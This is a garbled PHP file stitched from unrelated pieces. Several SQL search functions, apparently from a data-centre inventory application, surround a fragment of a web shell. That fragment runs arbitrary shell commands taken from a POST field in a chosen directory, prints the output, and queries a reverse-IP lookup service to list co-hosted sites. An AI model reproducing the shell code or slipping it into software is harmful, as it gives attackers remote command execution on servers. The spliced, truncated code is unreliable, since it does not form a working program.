function ListUnique($sqlcolumn) { if (!in_array($sqlcolumn, array_keys((array) $this))) { return false; } $this->MakeSafe(); // This will store all our extended sql $sqlextend = ""; function findit($prop, $val, &$sql) { $sql .= " AND {$prop} LIKE \"%{$val}%\""; } foreach ($this as $prop => $val) { if ($val && $val != date("Y-m-d", strtotime(0))) { findit($prop, $val, $sqlextend); } } $sql = "SELECT DISTINCT CAST({$sqlcolumn} AS CHAR(20)) AS Search FROM fac_GenericLog WHERE {$sqlcolumn}!=\"\"{$sqlextend} ORDER BY {$sqlcolumn} ASC;"; $values = array(); foreach ($this->query($sql) as $row) { $values[] = $row['Search']; } return array_unique($values); }
} echo "</div>"; //////////////////////// cmd ///////////////////////////////// } else { if ($_GET['sws'] == 'cmd') { $cmd = $_POST['n4me']; $dir = $_POST['dir']; if (isset($cmd)) { echo "<br /><textarea cols='65' rows='25' name='fil3'> "; echo @cmd("cd {$dir};{$cmd}"); echo " </textarea>"; } } else { if ($_GET['sws'] == 'site') { $read = @file_get_contents("http://networktools.nl/reverseip/{$ips}"); $sit3 = @findit($read, "<pre>", "</pre>"); echo "<br /><div class='site'><pre> "; echo $sit3; echo "</pre> </div>"; exit; } } } } } } } if (@$_GET['dir']) { $dir = $_GET['dir']; if ($dir != 'nullz') { $dir = cleandir($dir);
function Search($indexedbyid = false, $loose = false) { // Store the value of devicetype before we muck with it and SNMPVersion $ot = $this->DeviceType; $ov = $this->SNMPVersion; // Make everything safe for us to search with $this->MakeSafe(); // This will store all our extended sql $sqlextend = ""; function findit($prop, $val, &$sql, $loose) { $method = $loose ? " LIKE \"%{$val}%\"" : "=\"{$val}\""; $sql .= " AND a.{$prop}{$method}"; } foreach ($this as $prop => $val) { // We force DeviceType to a known value so this is to check if they wanted to search for the default if ($prop == "DeviceType" && $val == "Server" && $ot != "Server") { continue; } // We force the SNMPVersion to 2c above so this is to check if they wanted to search for the default if ($prop == "SNMPVersion" && $val == "2c" && $ov != "2c") { continue; } if ($val) { findit($prop, $val, $sqlextend, $loose); } } // The join is purely to sort the templates by the manufacturer's name $sql = "SELECT a.* FROM fac_DeviceTemplate a, fac_Manufacturer b WHERE\n\t\t\ta.ManufacturerID=b.ManufacturerID{$sqlextend} ORDER BY Name ASC, Model ASC;"; $templateList = array(); foreach ($this->query($sql) as $row) { if ($indexedbyid) { $templateList[$row["TemplateID"]] = DeviceTemplate::RowToObject($row); } else { $templateList[] = DeviceTemplate::RowToObject($row); } } return $templateList; }
function Search($indexedbyid = false, $loose = false) { $o = new stdClass(); // Store any values that have been added before we make them safe foreach ($this as $prop => $val) { if (isset($val)) { $o->{$prop} = $val; } } // Make everything safe for us to search with $this->MakeSafe(); // This will store all our extended sql $sqlextend = ""; function findit($prop, $val, &$sql, $loose) { $method = $loose ? " LIKE \"%{$val}%\"" : "=\"{$val}\""; $sql .= " AND a.{$prop}{$method}"; } foreach ($o as $prop => $val) { findit($prop, $this->{$prop}, $sqlextend, $loose); } // The join is purely to sort the templates by the manufacturer's name $sql = "SELECT a.* FROM fac_DeviceTemplate a, fac_Manufacturer b WHERE\n\t\t\ta.ManufacturerID=b.ManufacturerID{$sqlextend} ORDER BY Name ASC, Model ASC;"; $templateList = array(); foreach ($this->query($sql) as $row) { if ($indexedbyid) { $templateList[$row["TemplateID"]] = DeviceTemplate::RowToObject($row); } else { $templateList[] = DeviceTemplate::RowToObject($row); } } return $templateList; }
function Search($num_rec_per_page = 0, $page = 1) { $this->MakeSafe(); // This will store all our extended sql $sqlextend = ""; function findit($prop, $val, &$sql) { if ($sql) { $sql .= " AND {$prop}=\"{$val}\""; } else { $sql .= " WHERE {$prop} LIKE \"%{$val}%\""; } } foreach ($this as $prop => $val) { if ($val && $val != "1969-12-31") { findit($prop, $val, $sqlextend); } } $sqlextend .= " ORDER BY Time DESC"; // Make sure someone didn't do something crazy with the input $page = intval($page); $num_rec_per_page = intval($num_rec_per_page); if ($page && $num_rec_per_page) { $start_from = ($page - 1) * $num_rec_per_page; $sqlextend .= " LIMIT {$start_from}, {$num_rec_per_page}"; } $sql = "SELECT * FROM fac_GenericLog{$sqlextend};"; $events = array(); foreach ($this->query($sql) as $dbRow) { $events[] = LogActions::RowToObject($dbRow); } return $events; }